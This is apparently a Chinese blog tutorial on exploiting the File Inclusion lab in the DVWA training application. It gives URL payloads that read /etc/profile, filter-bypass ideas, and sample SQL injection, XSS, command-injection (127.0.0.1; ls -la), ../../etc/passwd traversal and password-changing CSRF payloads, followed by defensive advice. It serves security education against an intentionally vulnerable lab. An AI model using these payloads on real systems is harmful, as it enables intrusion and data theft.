DVWA - File Inclusion (low, medium, high)

本文详细解析了DVWA平台中不同安全级别下文件包含漏洞的利用方式,并提供了具体的绕过策略及示例代码。

low

观察URL可发现,注入点在page,low等级直接注入

http://192.168.67.22/dvwa/vulnerabilities/fi/?page=/etc/profile

返回结果如下:

# /etc/profile: system-wide .profile file for the Bourne shell (sh(1)) # and Bourne compatible shells (bash(1), ksh(1), ash(1), ...). if [ "$PS1" ]; then if [ "$BASH" ] && [ "$BASH" != "/bin/sh" ]; then # The file bash.bashrc already sets the default PS1. # PS1='\h:\w\$ ' if [ -f /etc/bash.bashrc ]; then . /etc/bash.bashrc fi else if [ "`id -u`" -eq 0 ]; then PS1='# ' else PS1='$ ' fi fi fi if [ -d /etc/profile.d ]; then for i in /etc/profile.d/*.sh; do if [ -r $i ]; then . $i fi done unset i fi export JAVA_HOME=/opt/jdk1.8.0_25 export CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar export PATH=$PATH:$JAVA_HOME/bin

medium

查看源码,发现以黑名单的方式过滤(删掉)了http://, https://, ../和..\

// Input validation 
$file = str_replace( array( "http://", "https://" ), "", $file ); 
$file = str_replace( array( "../", "..\"" ), "", $file );

绕过思路http转大写,使用绝对路径等等。

high

查看源码,发现以白名单的方式允许file开头的文件和include.php

// Input validation 
if( !fnmatch( "file*", $file ) && $file != "include.php" )

绕过思路,以file://协议读取文件即可,注入代码如下:

http://192.168.67.22/dvwa/vulnerabilities/fi/?page=file:///etc/profile
### DVWA HTTP Vulnerabilities Testing Guide DVWA (Damn Vulnerable Web Application) 是一个故意设计为存在漏洞的Web应用,主要用于教育和测试目的。它可以帮助安全研究人员、渗透测试人员和开发人员了解常见的Web应用程序漏洞及其利用方式。 #### 1. **HTTP方法与请求类型** 在进行DVWA漏洞测试时,理解HTTP方法(如GET、POST)是基础。DVWA中大多数漏洞都通过这些方法触发,尤其是在SQL注入、XSS和命令注入等场景中。 - GET请求通常用于从服务器获取数据,参数直接暴露在URL中。 - POST请求则常用于提交敏感信息,参数隐藏在请求体中。 ```python import requests # 示例:使用Python发送GET请求 response = requests.get('http://dvwa.local/login.php', params={'username': 'admin', 'password': 'password'}) print(response.text) # 示例:使用Python发送POST请求 data = {'username': 'admin', 'password': 'password'} response = requests.post('http://dvwa.local/login.php', data=data) print(response.text) ``` #### 2. **常见漏洞测试指南** ##### **SQL注入 (SQL Injection)** DVWA提供了不同安全级别的SQL注入漏洞,允许测试者尝试不同的注入技巧。例如,可以通过`UNION SELECT`来猜测字段数量并提取数据库信息 [^4]。 ```sql -- 示例:尝试登录绕过 ' OR '1'='1 -- 示例:使用UNION查询获取数据库版本 1' UNION SELECT NULL, version() # ``` ##### **跨站脚本攻击 (XSS)** DVWA支持反射型和存储型XSS漏洞的测试。攻击者可以插入恶意脚本以窃取会话cookie或执行其他恶意操作。 ```html <!-- 反射型XSS示例 --> <script>alert('XSS')</script> <!-- 存储型XSS示例 --> <img src="x" onerror="alert('Stored XSS')"> ``` ##### **命令注入 (Command Injection)** DVWA中的命令注入漏洞允许攻击者通过输入执行任意系统命令。此漏洞通常出现在未正确过滤用户输入的情况下。 ```bash # 示例:执行系统命令 127.0.0.1; ls -la ``` ##### **文件包含 (File Inclusion)** 本地文件包含(LFI)和远程文件包含(RFI)漏洞可以在DVWA中找到。这些漏洞可能导致服务器上的任意文件被读取或执行。 ```php // 示例:利用LFI读取配置文件 ?page=../../etc/passwd ``` ##### **CSRF (Cross-Site Request Forgery)** DVWA也包含了CSRF漏洞,攻击者可以诱导用户在不知情的情况下执行非预期的操作,比如更改密码或发送数据。 ```html <!-- 示例:CSRF攻击表单 --> <form action="http://dvwa.local/change_password.php" method="POST"> <input type="hidden" name="password_new" value="hacked" /> <input type="hidden" name="password_conf" value="hacked" /> <input type="submit" value="Click Me" /> </form> ``` #### 3. **安全级别设置** DVWA提供多种安全级别(Low, Medium, High, Impossible),每种级别对漏洞的防护程度不同。建议依次测试每个级别以理解不同防护机制的效果。 - **Low**:几乎没有任何保护措施。 - **Medium**:增加了基本的过滤规则。 - **High**:采用更严格的过滤策略,但仍可能存在绕过方法。 - **Impossible**:理论上无法被攻破,适合学习最佳实践。 #### 4. **防御建议** 针对DVWA中出现的漏洞,开发者应采取以下措施加强安全性: - 对所有用户输入进行严格的验证和过滤。 - 使用预编译语句防止SQL注入。 - 对输出进行HTML实体编码以避免XSS。 - 避免动态执行用户提供的代码或命令。 - 实施CSRF令牌机制确保请求来源合法性。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值